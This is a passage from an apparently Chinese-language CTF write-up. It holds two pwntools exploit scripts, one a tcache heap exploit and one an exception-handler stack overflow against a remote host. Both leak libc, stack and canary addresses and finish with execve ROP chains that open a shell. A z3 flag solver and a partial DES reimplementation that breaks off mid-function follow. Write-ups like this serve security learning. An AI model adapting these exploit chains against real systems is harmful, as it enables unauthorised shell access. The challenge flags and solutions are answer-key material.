sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'delete index=9\0')
sh.sendlineafter(b'$ ', b'delete index=8\0')

sh.sendlineafter(b'$ ', b'delete index=0\0')
sh.sendlineafter(b'$ ', b'add content=date=date=aaaaaaaaa\0' + cyclic(21) + p64(0x71) + b'\0' * 0x800)
sh.sendlineafter(b'$ ', b'delete index=2\0')

sh.sendlineafter(b'$ ', b'add content=' + b'a' * 0x60 + p64((heap_addr >> 12) ^ (image_base + 0x50e0)))
sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'add content=' + b'a' * 8 + p64(libc_addr + 0x206258))

sh.sendlineafter(b'$ ', b'show index=6\0')
sh.recvuntil(b'Appointment #6:')
sh.recvuntil(b'Content: ')
stack_addr = u64(sh.recvn(6) + b'\0\0')
success('stack_addr: ' + hex(stack_addr))

sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'delete index=11\0')
sh.sendlineafter(b'$ ', b'delete index=10\0')

sh.sendlineafter(b'$ ', b'delete index=0\0')
sh.sendlineafter(b'$ ', b'add content=date=date=aaaaaaaaa\0' + cyclic(21) + p64(0xb1) + b'\0' * 0x800)
sh.sendlineafter(b'$ ', b'delete index=2\0')

sh.sendlineafter(b'$ ', b'add content=' + b'a' * 0xa0 + p64((heap_addr >> 12) ^ (stack_addr - 0x138)))
sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'add content=' + p64(image_base + 0x4180))

sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'delete index=13\0')
sh.sendlineafter(b'$ ', b'delete index=12\0')

sh.sendlineafter(b'$ ', b'delete index=0\0')
sh.sendlineafter(b'$ ', b'add content=date=date=aaaaaaaaa\0' + cyclic(21) + p64(0xf1) + b'\0' * 0x800)
sh.sendlineafter(b'$ ', b'delete index=2\0')

sh.sendlineafter(b'$ ', b'add content=' + b'a' * 0xe0 + p64((heap_addr >> 12) ^ (stack_addr - 0x148)))
sh.sendlineafter(b'$ ', b'add content=a\0')

sh.sendlineafter(b'$ ', (b'add content=' + b'a' * 8 + p64(libc_addr + 0x0000000000026a3d)).ljust(0x100, b'\0') + flat(
[
    libc_addr + 0x0000000000028715, 
    libc_addr + 0x1c041b,
    libc_addr + 0x000000000002a671,
    0,
    libc_addr + 0x0000000000093359,
    0, 0,
    libc_addr + 0x0000000000046663,
    59,
    libc_addr + 0x00000000000942b6,
]
))

sh.interactive()

nception

edit有栈溢出可以控制异常处理，此时可以控制rbp的值。并且在catch块中，0000000000402E2C地址会对rbp的内存有写操作，因此可以该特性修改ptrs的指针低位，使其落于控制位置，这样就能实现任意地址读写。

.text:0000000000402E16 ;   catch(std::exception) // owned by 402DC0
.text:0000000000402E16                 cmp     rdx, 1
.text:0000000000402E1A                 jz      short loc_402E24
.text:0000000000402E1C                 mov     rdi, rax        ; struct _Unwind_Exception *
.text:0000000000402E1F                 call    __Unwind_Resume
.text:0000000000402E24 ; ---------------------------------------------------------------------------
.text:0000000000402E24
.text:0000000000402E24 loc_402E24:                             ; CODE XREF: main+11D↑j
.text:0000000000402E24                 mov     rdi, rax        ; void *
.text:0000000000402E27                 call    ___cxa_begin_catch
.text:0000000000402E2C                 mov     [rbp+e], rax

利用脚本

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='info')

def add():
    sh.sendlineafter(b'your choice: ', b'1')

def edit(index, offset, content):
    sh.sendlineafter(b'your choice: ', b'2')
    sh.sendlineafter(b'idx: ', str(index).encode())
    sh.sendlineafter(b'offset: ', str(offset).encode())
    sh.sendlineafter(b'data: ', content)

def show(index):
    sh.sendlineafter(b'your choice: ', b'3')
    sh.sendlineafter(b'read?\n', str(index).encode())

def delete(index):
    sh.sendlineafter(b'your choice: ', b'4')
    sh.sendlineafter(b'destroy?\n', str(index).encode())

sh = remote('8.130.35.16', 58000)

add()
add()
add()
add()
add()
add()
add()
delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)
add()
add()
add()
add()
add()
add()

edit(0, 0x130, p64(0x405FC8))
edit(0, 0x130+8, p32(0x444))

edit(0, 0, cyclic(544) + p64(0x406429+0x18)[:6])
show(6)
sh.recvuntil(b'Data: ')
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0xf87d0
success('libc_addr: ' + hex(libc_addr))

edit(0, 0x130, p64(libc_addr + 0x1da321))
edit(0, 0x130+8, p32(0x444))
show(6)
sh.recvuntil(b'Data: ')
stack_addr = u64(sh.recvn(5) + b'\0\0\0') * 0x100

find_stack = False
for i in range(0x18):
    edit(0, 0x130, p64(stack_addr + 0x11 + i * 8))
    edit(0, 0x130+8, p32(0x444))
    show(6)
    sh.recvuntil(b'Data: ')
    result = u64(sh.recvn(5) + b'\0\0\0') * 0x100
    info('result: ' + hex(result))
    if(result == libc_addr + 0x27200):
        stack_addr += 0x10 + i * 8
        success('stack_addr: ' + hex(stack_addr))
        find_stack = True
        break
if find_stack == False:
    raise EOFError("Invailed stack")

edit(0, 0x130, p64(stack_addr - 0x10 + 1))
edit(0, 0x130+8, p32(0x444))
show(6)
sh.recvuntil(b'Data: ')
canary = u64(b'\0' + sh.recvn(7))
success('canary: ' + hex(canary))

edit(0, 0, b'\0' * 0x10 + cyclic(504) + p64(canary) + flat(
[
    0,
    1,
    2,
    libc_addr + 0x0000000000027765,
    libc_addr + 0x196031,
    libc_addr + 0x0000000000028f19,
    0,
    libc_addr + 0x00000000000fdcfd,
    0,
    libc_addr + 0x000000000003f117,
    59,
    libc_addr + 0x0000000000086002,
]
))

sh.interactive()

RE

中文编程1

解个方程

from z3 import *
s=Solver()
v20=[Int(f'inp{i}') for i in range(11)]
num=-1

s.add(v20[num + 1] * 52.0
+ v20[num + 2] * 93.0
+ v20[num + 3] * 15.0
+ v20[num + 4] * 72.0
+ v20[num + 5] * 61.0
+ v20[num + 6] * 21.0
+ v20[num + 7] * 83.0
+ v20[num + 8] * 87.0
+ v20[num + 9] * 75.0
+ v20[num + 10] * 75.0
+ v20[num + 11] * 88.0
- 7.86241466532e11==0)
  
s.add( v20[num + 1] * 24.0
     + v20[num + 2] * 3.0
     + v20[num + 3] * 22.0
     + v20[num + 4] * 53.0
     + v20[num + 5] * 2.0
     + v20[num + 6] * 88.0
     + v20[num + 7] * 30.0
     + v20[num + 8] * 38.0
     + v20[num + 9] * 2.0
     + v20[num + 10] * 64.0
     + v20[num + 11] * 60.0
     - 3.76271212978e11==0)

s.add( v20[num + 1] * 21.0
     + v20[num + 2] * 33.0
     + v20[num + 3] * 76.0
     + v20[num + 4] * 58.0
     + v20[num + 5] * 22.0
     + v20[num + 6] * 89.0
     + v20[num + 7] * 49.0
     + v20[num + 8] * 91.0
     + v20[num + 9] * 59.0
     + v20[num + 10] * 42.0
     + v20[num + 11] * 92.0
     - 6.47642467922e11==0)

s.add( v20[num + 1] * 60.0
     + v20[num + 2] * 80.0
     + v20[num + 3] * 15.0
     + v20[num + 4] * 62.0
     + v20[num + 5] * 62.0
     + v20[num + 6] * 47.0
     + v20[num + 7] * 62.0
     + v20[num + 8] * 51.0
     + v20[num + 9] * 55.0
     + v20[num + 10] * 64.0
     + v20[num + 11] * 3.0
     - 6.70839740597e11==0)

s.add( v20[num + 1] * 51.0
     + v20[num + 2] * 7.0
     + v20[num + 3] * 21.0
     + v20[num + 4] * 73.0
     + v20[num + 5] * 39.0
     + v20[num + 6] * 18.0
     + v20[num + 7] * 4.0
     + v20[num + 8] * 89.0
     + v20[num + 9] * 60.0
     + v20[num + 10] * 14.0
     + v20[num + 11] * 9.0
     - 5.49200140865e11==0)

s.add( v20[num + 1] * 90.0
     + v20[num + 2] * 53.0
     + v20[num + 3] * 2.0
     + v20[num + 4] * 84.0
     + v20[num + 5] * 92.0
     + v20[num + 6] * 60.0
     + v20[num + 7] * 71.0
     + v20[num + 8] * 44.0
     + v20[num + 9] * 8.0
     + v20[num + 10] * 47.0
     + v20[num + 11] * 35.0
     - 6.6473011328e11==0)

s.add( v20[num + 1] * 78.0
     + v20[num + 2] * 81.0
     + v20[num + 3] * 36.0
     + v20[num + 4] * 50.0
     + v20[num + 5] * 4.0
     + v20[num + 6] * 2.0
     + v20[num + 7] * 6.0
     + v20[num + 8] * 54.0
     + v20[num + 9] * 4.0
     + v20[num + 10] * 54.0
     + v20[num + 11] * 93.0
     - 4.76762422687e11==0)

s.add( v20[num + 1] * 63.0
     + v20[num + 2] * 18.0
     + v20[num + 3] * 90.0
     + v20[num + 4] * 44.0
     + v20[num + 5] * 34.0
     + v20[num + 6] * 74.0
     + v20[num + 7] * 62.0
     + v20[num + 8] * 14.0
     + v20[num + 9] * 95.0
     + v20[num + 10] * 48.0
     + v20[num + 11] * 15.0
     - 6.44352175854e11==0)

s.add( v20[num + 1] * 72.0
      + v20[num + 2] * 78.0
      + v20[num + 3] * 87.0
      + v20[num + 4] * 62.0
      + v20[num + 5] * 40.0
      + v20[num + 6] * 85.0
      + v20[num + 7] * 80.0
      + v20[num + 8] * 82.0
      + v20[num + 9] * 53.0
      + v20[num + 10] * 24.0
      + v20[num + 11] * 26.0
      - 7.87224288556e11==0)

s.add( v20[num + 1] * 89.0
      + v20[num + 2] * 60.0
      + v20[num + 3] * 41.0
      + v20[num + 4] * 29.0
      + v20[num + 5] * 15.0
      + v20[num + 6] * 45.0
      + v20[num + 7] * 65.0
      + v20[num + 8] * 89.0
      + v20[num + 9] * 71.0
      + v20[num + 10] * 9.0
      + v20[num + 11] * 88.0
      - 6.67891172792e11==0)

s.add( v20[num + 1]
      + v20[num + 2] * 8.0
      + v20[num + 3] * 88.0
      + v20[num + 4] * 63.0
      + v20[num + 5] * 11.0
      + v20[num + 6] * 81.0
      + v20[num + 7] * 8.0
      + v20[num + 8] * 35.0
      + v20[num + 9] * 35.0
      + v20[num + 10] * 33.0
      + v20[num + 11] * 5.0
      - 4.17587420064e11==0)
if s.check()==sat:
   m=s.model()
   inp=[Int(f'inp{i}') for i in range(11)]
   for i in inp:
     print(hex(m[i].as_long()),end=',')
print()
enc=[0x67616c66,0x3135317b,0x33316537,0x65612d35,0x342d6361,0x2d653231,0x34656639,0x6331392d,0x63323064,0x39323838,0x7d30,]
import struct
for i in range(len(enc)):
    x=struct.pack('<I',enc[i])
    print(x.decode(),end='')
#0x67616c66,0x3135317b,0x33316537,0x65612d35,0x342d6361,0x2d653231,0x34656639,0x6331392d,0x63323064,0x39323838,0x7d30,
#flag{1517e135-aeac-412e-9fe4-91cd02c88290}

中文编程2

节区名改回去后 UPX 解一下搜字符串找到对应函数，大致流程是 RC4+DES+RC4，但是 des 的部分有过魔改，不是很完整，根据逻辑手动还原一下算法然后写个逆：

#include <stddef.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

#define DES_ENCRYPT     1
#define DES_DECRYPT     0

#define ERR_DES_INVALID_INPUT_LENGTH              -0x0032  /**< The data input has an invalid length. */

#define DES_KEY_SIZE         (8)  
#define DES3_KEY2_SIZE       (16)  
#define DES3_KEY3_SIZE       (24) 

typedef struct
{
    uint32_t sk[32];            /*!<  DES subkeys       */
}des_context;

/**
 * \brief          Triple-DES context structure
 */
typedef struct
{
    uint32_t sk[96];            /*!<  3DES subkeys      */
}des3_context;

#define DES_C

#if defined(DES_C)


#if !defined(DES_ALT)

/* Implementation that should never be optimized out by the compiler */
static void zeroize(void* v, size_t n) {
    volatile unsigned char* p = (unsigned char*)v; while (n--) *p++ = 0;
}

/*
 * 32-bit integer manipulation macros (big endian)
 */
#ifndef GET_UINT32_BE
#define GET_UINT32_BE(n,b,i)                            \
{                                                       \
    (n) = ( (uint32_t) (b)[(i)    ] << 24 )             \
        | ( (uint32_t) (b)[(i) + 1] << 16 )             \
        | ( (uint32_t) (b)[(i) + 2] <<  8 )             \
        | ( (uint32_t) (b)[(i) + 3]       );            \
}
#endif

#ifndef PUT_UINT32_BE
#define PUT_UINT32_BE(n,b,i)                            \
{                                                       \
    (b)[(i)    ] = (unsigned char) ( (n) >> 24 );       \
    (b)[(i) + 1] = (unsigned char) ( (n) >> 16 );       \
    (b)[(i) + 2] = (unsigned char) ( (n) >>  8 );       \
    (b)[(i) + 3] = (unsigned char) ( (n)       );       \
}
#endif

 /*
  * Expanded DES S-boxes
  */
static const uint32_t SB1[64] =
{
    0x01010400, 0x00000000, 0x00010000, 0x01010404,
    0x01010004, 0x00010404, 0x00000004, 0x00010000,
    0x00000400, 0x01010400, 0x01010404, 0x00000400,
    0x01000404, 0x01010004, 0x01000000, 0x00000004,
    0x00000404, 0x01000400, 0x01000400, 0x00010400,
    0x00010400, 0x01010000, 0x01010000, 0x01000404,
    0x00010004, 0x01000004, 0x01000004, 0x00010004,
    0x00000000, 0x00000404, 0x00010404, 0x01000000,
    0x00010000, 0x01010404, 0x00000004, 0x01010000,
    0x01010400, 0x01000000, 0x01000000, 0x00000400,
    0x01010004, 0x00010000, 0x00010400, 0x01000004,
    0x00000400, 0x00000004, 0x01000404, 0x00010404,
    0x01010404, 0x00010004, 0x01010000, 0x01000404,
    0x01000004, 0x00000404, 0x00010404, 0x01010400,
    0x00000404, 0x01000400, 0x01000400, 0x00000000,
    0x00010004, 0x00010400, 0x00000000, 0x01010004
};

static const uint32_t SB2[64] =
{
    0x80108020, 0x80008000, 0x00008000, 0x00108020,
    0x00100000, 0x00000020, 0x80100020, 0x80008020,
    0x80000020, 0x80108020, 0x80108000, 0x80000000,
    0x80008000, 0x00100000, 0x00000020, 0x80100020,
    0x00108000, 0x00100020, 0x80008020, 0x00000000,
    0x80000000, 0x00008000, 0x00108020, 0x80100000,
    0x00100020, 0x80000020, 0x00000000, 0x00108000,
    0x00008020, 0x80108000, 0x80100000, 0x00008020,
    0x00000000, 0x00108020, 0x80100020, 0x00100000,
    0x80008020, 0x80100000, 0x80108000, 0x00008000,
    0x80100000, 0x80008000, 0x00000020, 0x80108020,
    0x00108020, 0x00000020, 0x00008000, 0x80000000,
    0x00008020, 0x80108000, 0x00100000, 0x80000020,
    0x00100020, 0x80008020, 0x80000020, 0x00100020,
    0x00108000, 0x00000000, 0x80008000, 0x00008020,
    0x80000000, 0x80100020, 0x80108020, 0x00108000
};

static const uint32_t SB3[64] =
{
    0x00000208, 0x08020200, 0x00000000, 0x08020008,
    0x08000200, 0x00000000, 0x00020208, 0x08000200,
    0x00020008, 0x08000008, 0x08000008, 0x00020000,
    0x08020208, 0x00020008, 0x08020000, 0x00000208,
    0x08000000, 0x00000008, 0x08020200, 0x00000200,
    0x00020200, 0x08020000, 0x08020008, 0x00020208,
    0x08000208, 0x00020200, 0x00020000, 0x08000208,
    0x00000008, 0x08020208, 0x00000200, 0x08000000,
    0x08020200, 0x08000000, 0x00020008, 0x00000208,
    0x00020000, 0x08020200, 0x08000200, 0x00000000,
    0x00000200, 0x00020008, 0x08020208, 0x08000200,
    0x08000008, 0x00000200, 0x00000000, 0x08020008,
    0x08000208, 0x00020000, 0x08000000, 0x08020208,
    0x00000008, 0x00020208, 0x00020200, 0x08000008,
    0x08020000, 0x08000208, 0x00000208, 0x08020000,
    0x00020208, 0x00000008, 0x08020008, 0x00020200
};

static const uint32_t SB4[64] =
{
    0x00802001, 0x00002081, 0x00002081, 0x00000080,
    0x00802080, 0x00800081, 0x00800001, 0x00002001,
    0x00000000, 0x00802000, 0x00802000, 0x00802081,
    0x00000081, 0x00000000, 0x00800080, 0x00800001,
    0x00000001, 0x00002000, 0x00800000, 0x00802001,
    0x00000080, 0x00800000, 0x00002001, 0x00002080,
    0x00800081, 0x00000001, 0x00002080, 0x00800080,
    0x00002000, 0x00802080, 0x00802081, 0x00000081,
    0x00800080, 0x00800001, 0x00802000, 0x00802081,
    0x00000081, 0x00000000, 0x00000000, 0x00802000,
    0x00002080, 0x00800080, 0x00800081, 0x00000001,
    0x00802001, 0x00002081, 0x00002081, 0x00000080,
    0x00802081, 0x00000081, 0x00000001, 0x00002000,
    0x00800001, 0x00002001, 0x00802080, 0x00800081,
    0x00002001, 0x00002080, 0x00800000, 0x00802001,
    0x00000080, 0x00800000, 0x00002000, 0x00802080
};

static const uint32_t SB5[64] =
{
    0x00000100, 0x02080100, 0x02080000, 0x42000100,
    0x00080000, 0x00000100, 0x40000000, 0x02080000,
    0x40080100, 0x00080000, 0x02000100, 0x40080100,
    0x42000100, 0x42080000, 0x00080100, 0x40000000,
    0x02000000, 0x40080000, 0x40080000, 0x00000000,
    0x40000100, 0x42080100, 0x42080100, 0x02000100,
    0x42080000, 0x40000100, 0x00000000, 0x42000000,
    0x02080100, 0x02000000, 0x42000000, 0x00080100,
    0x00080000, 0x42000100, 0x00000100, 0x02000000,
    0x40000000, 0x02080000, 0x42000100, 0x40080100,
    0x02000100, 0x40000000, 0x42080000, 0x02080100,
    0x40080100, 0x00000100, 0x02000000, 0x42080000,
    0x42080100, 0x00080100, 0x42000000, 0x42080100,
    0x02080000, 0x00000000, 0x40080000, 0x42000000,
    0x00080100, 0x02000100, 0x40000100, 0x00080000,
    0x00000000, 0x40080000, 0x02080100, 0x40000100
};

static const uint32_t SB6[64] =
{
    0x20000010, 0x20400000, 0x00004000, 0x20404010,
    0x20400000, 0x00000010, 0x20404010, 0x00400000,
    0x20004000, 0x00404010, 0x00400000, 0x20000010,
    0x00400010, 0x20004000, 0x20000000, 0x00004010,
    0x00000000, 0x00400010, 0x20004010, 0x00004000,
    0x00404000, 0x20004010, 0x00000010, 0x20400010,
    0x20400010, 0x00000000, 0x00404010, 0x20404000,
    0x00004010, 0x00404000, 0x20404000, 0x20000000,
    0x20004000, 0x00000010, 0x20400010, 0x00404000,
    0x20404010, 0x00400000, 0x00004010, 0x20000010,
    0x00400000, 0x20004000, 0x20000000, 0x00004010,
    0x20000010, 0x20404010, 0x00404000, 0x20400000,
    0x00404010, 0x20404000, 0x00000000, 0x20400010,
    0x00000010, 0x00004000, 0x20400000, 0x00404010,
    0x00004000, 0x00400010, 0x20004010, 0x00000000,
    0x20404000, 0x20000000, 0x00400010, 0x20004010
};

static const uint32_t SB7[64] =
{
    0x00200000, 0x04200002, 0x04000802, 0x00000000,
    0x00000800, 0x04000802, 0x00200802, 0x04200800,
    0x04200802, 0x00200000, 0x00000000, 0x04000002,
    0x00000002, 0x04000000, 0x04200002, 0x00000802,
    0x04000800, 0x00200802, 0x00200002, 0x04000800,
    0x04000002, 0x04200000, 0x04200800, 0x00200002,
    0x04200000, 0x00000800, 0x00000802, 0x04200802,
    0x00200800, 0x00000002, 0x04000000, 0x00200800,
    0x04000000, 0x00200800, 0x00200000, 0x04000802,
    0x04000802, 0x04200002, 0x04200002, 0x00000002,
    0x00200002, 0x04000000, 0x04000800, 0x00200000,
    0x04200800, 0x00000802, 0x00200802, 0x04200800,
    0x00000802, 0x04000002, 0x04200802, 0x04200000,
    0x00200800, 0x00000000, 0x00000002, 0x04200802,
    0x00000000, 0x00200802, 0x04200000, 0x00000800,
    0x04000002, 0x04000800, 0x00000800, 0x00200002
};

static const uint32_t SB8[64] =
{
    0x10001040, 0x00001000, 0x00040000, 0x10041040,
    0x10000000, 0x10001040, 0x00000040, 0x10000000,
    0x00040040, 0x10040000, 0x10041040, 0x00041000,
    0x10041000, 0x00041040, 0x00001000, 0x00000040,
    0x10040000, 0x10000040, 0x10001000, 0x00001040,
    0x00041000, 0x00040040, 0x10040040, 0x10041000,
    0x00001040, 0x00000000, 0x00000000, 0x10040040,
    0x10000040, 0x10001000, 0x00041040, 0x00040000,
    0x00041040, 0x00040000, 0x10041000, 0x00001000,
    0x00000040, 0x10040040, 0x00001000, 0x00041040,
    0x10001000, 0x00000040, 0x10000040, 0x10040000,
    0x10040040, 0x10000000, 0x00040000, 0x10001040,
    0x00000000, 0x10041040, 0x00040040, 0x10000040,
    0x10040000, 0x10001000, 0x10001040, 0x00000000,
    0x10041040, 0x00041000, 0x00041000, 0x00001040,
    0x00001040, 0x00040040, 0x10000000, 0x10041000
};

/*
 * PC1: left and right halves bit-swap
 */
static const uint32_t LHs[16] =
{
    0x00000000, 0x00000001, 0x00000100, 0x00000101,
    0x00010000, 0x00010001, 0x00010100, 0x00010101,
    0x01000000, 0x01000001, 0x01000100, 0x01000101,
    0x01010000, 0x01010001, 0x01010100, 0x01010101
};

static const uint32_t RHs[16] =
{
    0x00000000, 0x01000000, 0x00010000, 0x01010000,
    0x00000100, 0x01000100, 0x00010100, 0x01010100,
    0x00000001, 0x01000001, 0x00010001, 0x01010001,
    0x00000101, 0x01000101, 0x00010101, 0x01010101,
};

/*
 * Initial Permutation macro
 */
#define DES_IP(X,Y)                                             \
{                                                               \
    T = ((X >>  4) ^ Y) & 0x0F0F0F0F; Y ^= T; X ^= (T <<  4);   \
    T = ((X >> 16) ^ Y) & 0x0000FFFF; Y ^= T; X ^= (T << 16);   \
    T = ((Y >>  2) ^ X) & 0x33333333; X ^= T; Y ^= (T <<  2);   \
    T = ((Y >>  8) ^ X) & 0x00FF00FF; X ^= T; Y ^= (T <<  8);   \
    Y = ((Y << 1) | (Y >> 31)) & 0xFFFFFFFF;                    \
    T = (X ^ Y) & 0xAAAAAAAA; Y ^= T; X ^= T;                   \
    X = ((X << 1) | (X >> 31)) & 0xFFFFFFFF;                    \
}

 /*
  * Final Permutation macro
  */
#define DES_FP(X,Y)                                             \
{                                                               \
    X = ((X << 31) | (X >> 1)) & 0xFFFFFFFF;                    \
    T = (X ^ Y) & 0xAAAAAAAA; X ^= T; Y ^= T;                   \
    Y = ((Y << 31) | (Y >> 1)) & 0xFFFFFFFF;                    \
    T = ((Y >>  8) ^ X) & 0x00FF00FF; X ^= T; Y ^= (T <<  8);   \
    T = ((Y >>  2) ^ X) & 0x33333333; X ^= T; Y ^= (T <<  2);   \
    T = ((X >> 16) ^ Y) & 0x0000FFFF; Y ^= T; X ^= (T << 16);   \
    T = ((X >>  4) ^ Y) & 0x0F0F0F0F; Y ^= T; X ^= (T <<  4);   \
}

  /*
   * DES round macro
   */

#define DES_ROUND_dec(X,Y)                          \
{                                               \
    T = *SK-- ^ X;         \
    printf("%x\n",T);\
    Y ^= SB8[ (T      ) & 0x3F ] |              \
         SB6[ (T >>  8) & 0x3F ] |              \
         SB4[ (T >> 16) & 0x3F ] |              \
         SB2[ (T >> 24) & 0x3F ];               \
    T = *SK-- ^ ((X << 28) | (X >> 4));         \
    printf("%x\n",T);\
    Y ^= SB7[ (T      ) & 0x3F ] |              \
         SB5[ (T >>  8) & 0x3F ] |              \
         SB3[ (T >> 16) & 0x3F ] |              \
         SB1[ (T >> 24) & 0x3F ];               \
}

#define SWAP(a,b) { uint32_t t = a; a = b; b = t; t = 0; }

void des_init(des_context* ctx)
{
    memset(ctx, 0, sizeof(des_context));
}

void des_free(des_context* ctx)
{
    if (ctx == NULL)
        return;

    zeroize(ctx, sizeof(des_context));
}

void des3_init(des3_context* ctx)
{
    memset(ctx, 0, sizeof(des3_context));
}

void des3_free(des3_context* ctx)
{
    if (ctx == NULL)
        return;

    zeroize(ctx, sizeof(des3_context));
}

static const unsigned char odd_parity_table[128] = { 1,  2,  4,  7,  8,
        11, 13, 14, 16, 19, 21, 22, 25, 26, 28, 31, 32, 35, 37, 38, 41, 42, 44,
        47, 49, 50, 52, 55, 56, 59, 61, 62, 64, 67, 69, 70, 73, 74, 76, 79, 81,
        82, 84, 87, 88, 91, 93, 94, 97, 98, 100, 103, 104, 107, 109, 110, 112,
        115, 117, 118, 121, 122, 124, 127, 128, 131, 133, 134, 137, 138, 140,
        143, 145, 146, 148, 151, 152, 155, 157, 158, 161, 162, 164, 167, 168,
        171, 173, 174, 176, 179, 181, 182, 185, 186, 188, 191, 193, 194, 196,
        199, 200, 203, 205, 206, 208, 211, 213, 214, 217, 218, 220, 223, 224,
        227, 229, 230, 233, 234, 236, 239, 241, 242, 244, 247, 248, 251, 253,
        254 };

void des_key_set_parity(unsigned char key[DES_KEY_SIZE])
{
    int i;

    for (i = 0; i < DES_KEY_SIZE; i++)
        key[i] = odd_parity_table[key[i] / 2];
}

/*
 * Check the given key's parity, returns 1 on failure, 0 on SUCCESS
 */
int des_key_check_key_parity(const unsigned char key[DES_KEY_SIZE])
{
    int i;

    for (i = 0; i < DES_KEY_SIZE; i++)
        if (key[i] != odd_parity_table[key[i] / 2])
            return(1);

    return(0);
}

/*
 * Table of weak and semi-weak keys
 *
 * Source: http://en.wikipedia.org/wiki/Weak_key
 *
 * Weak:
 * Alternating ones + zeros (0x0101010101010101)
 * Alternating 'F' + 'E' (0xFEFEFEFEFEFEFEFE)
 * '0xE0E0E0E0F1F1F1F1'
 * '0x1F1F1F1F0E0E0E0E'
 *
 * Semi-weak:
 * 0x011F011F010E010E and 0x1F011F010E010E01
 * 0x01E001E001F101F1 and 0xE001E001F101F101
 * 0x01FE01FE01FE01FE and 0xFE01FE01FE01FE01
 * 0x1FE01FE00EF10EF1 and 0xE01FE01FF10EF10E
 * 0x1FFE1FFE0EFE0EFE and 0xFE1FFE1FFE0EFE0E
 * 0xE0FEE0FEF1FEF1FE and 0xFEE0FEE0FEF1FEF1
 *
 */

#define WEAK_KEY_COUNT 16

static const unsigned char weak_key_table[WEAK_KEY_COUNT][DES_KEY_SIZE] =
{
    { 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01 },
    { 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE },
    { 0x1F, 0x1F, 0x1F, 0x1F, 0x0E, 0x0E, 0x0E, 0x0E },
    { 0xE0, 0xE0, 0xE0, 0xE0, 0xF1, 0xF1, 0xF1, 0xF1 },

    { 0x01, 0x1F, 0x01, 0x1F, 0x01, 0x0E, 0x01, 0x0E },
    { 0x1F, 0x01, 0x1F, 0x01, 0x0E, 0x01, 0x0E, 0x01 },
    { 0x01, 0xE0, 0x01, 0xE0, 0x01, 0xF1, 0x01, 0xF1 },
    { 0xE0, 0x01, 0xE0, 0x01, 0xF1, 0x01, 0xF1, 0x01 },
    { 0x01, 0xFE, 0x01, 0xFE, 0x01, 0xFE, 0x01, 0xFE },
    { 0xFE, 0x01, 0xFE, 0x01, 0xFE, 0x01, 0xFE, 0x01 },
    { 0x1F, 0xE0, 0x1F, 0xE0, 0x0E, 0xF1, 0x0E, 0xF1 },
    { 0xE0, 0x1F, 0xE0, 0x1F, 0xF1, 0x0E, 0xF1, 0x0E },
    { 0x1F, 0xFE, 0x1F, 0xFE, 0x0E, 0xFE, 0x0E, 0xFE },
    { 0xFE, 0x1F, 0xFE, 0x1F, 0xFE, 0x0E, 0xFE, 0x0E },
    { 0xE0, 0xFE, 0xE0, 0xFE, 0xF1, 0xFE, 0xF1, 0xFE },
    { 0xFE, 0xE0, 0xFE, 0xE0, 0xFE, 0xF1, 0xFE, 0xF1 }
};

int des_key_check_weak(const unsigned char key[DES_KEY_SIZE])
{
    int i;

    for (i = 0; i < WEAK_KEY_COUNT; i++)
        if (memcmp(weak_key_table[i], key, DES_KEY_SIZE) == 0)
            return(1);

    return(0);
}


void des_setkey(uint32_t SK[32], const unsigned char key[DES_KEY_SIZE])
{
    int i;
    uint32_t X, Y, T;

    GET_UINT32_BE(X, key, 0);
    GET_UINT32_BE(Y, key, 4);

    /*
     * Permuted Choice 1
     */
    T = ((Y >> 4) ^ X) & 0x0F0F0F0F;  X ^= T; Y ^= (T << 4);
    T = ((Y) ^ X) & 0x10101010;  X ^= T; Y ^= (T);

    X = (LHs[(X) & 0xF] << 3) | (LHs[(X >> 8) & 0xF] << 2)
        | (LHs[(X >> 16) & 0xF] << 1) | (LHs[(X >> 24) & 0xF])
        | (LHs[(X >> 5) & 0xF] << 7) | (LHs[(X >> 13) & 0xF] << 6)
        | (LHs[(X >> 21) & 0xF] << 5) | (LHs[(X >> 29) & 0xF] << 4);

    Y = (RHs[(Y >> 1) & 0xF] << 3) | (RHs[(Y >> 9) & 0xF] << 2)
        | (RHs[(Y >> 17) & 0xF] << 1) | (RHs[(Y >> 25) & 0xF])
        | (RHs[(Y >> 4) & 0xF] << 7) | (RHs[(Y >> 12) & 0xF] << 6)
        | (RHs[(Y >> 20) & 0xF] << 5) | (RHs[(Y >> 28) & 0xF] << 4);

    X &= 0x0FFFFFFF;
    Y &= 0x0FFFFFFF;

    /*
     * calculate subkeys
     */
    for (i = 0; i < 16; i++)
    {
        if (i < 2 || i == 8 || i == 15)
        {
            X = ((X << 1) | (X >> 27)) & 0x0FFFFFFF;
            Y = ((Y << 1) | (Y >> 27)) & 0x0FFFFFFF;
        }
        else
        {
            X = ((X << 2) | (X >> 26)) & 0x0FFFFFFF;
            Y = ((Y << 2) | (Y >> 26)) & 0x0FFFFFFF;
        }

        *SK++ = ((X << 4) & 0x24000000) | ((X << 28) & 0x10000000)
            | ((X << 14) & 0x08000000) | ((X << 18) & 0x02080000)
            | ((X << 6) & 0x01000000) | ((X << 9) & 0x00200000)
            | ((X >> 1) & 0x00100000) | ((X << 10) & 0x00040000)
            | ((X << 2) & 0x00020000) | ((X >> 10) & 0x00010000)
            | ((Y >> 13) & 0x00002000) | ((Y >> 4) & 0x00001000)
            | ((Y << 6) & 0x00000800) | ((Y >> 1) & 0x00000400)
            | ((Y >> 14) & 0x00000200) | ((Y) & 0x00000100)
            | ((Y >> 5) & 0x00000020) | ((Y >> 10) & 0x00000010)
            | ((Y >> 3) & 0x00000008) | ((Y >> 18) & 0x00000004)
            | ((Y >> 26) & 0x00000002) | ((Y >> 24) & 0x00000001);

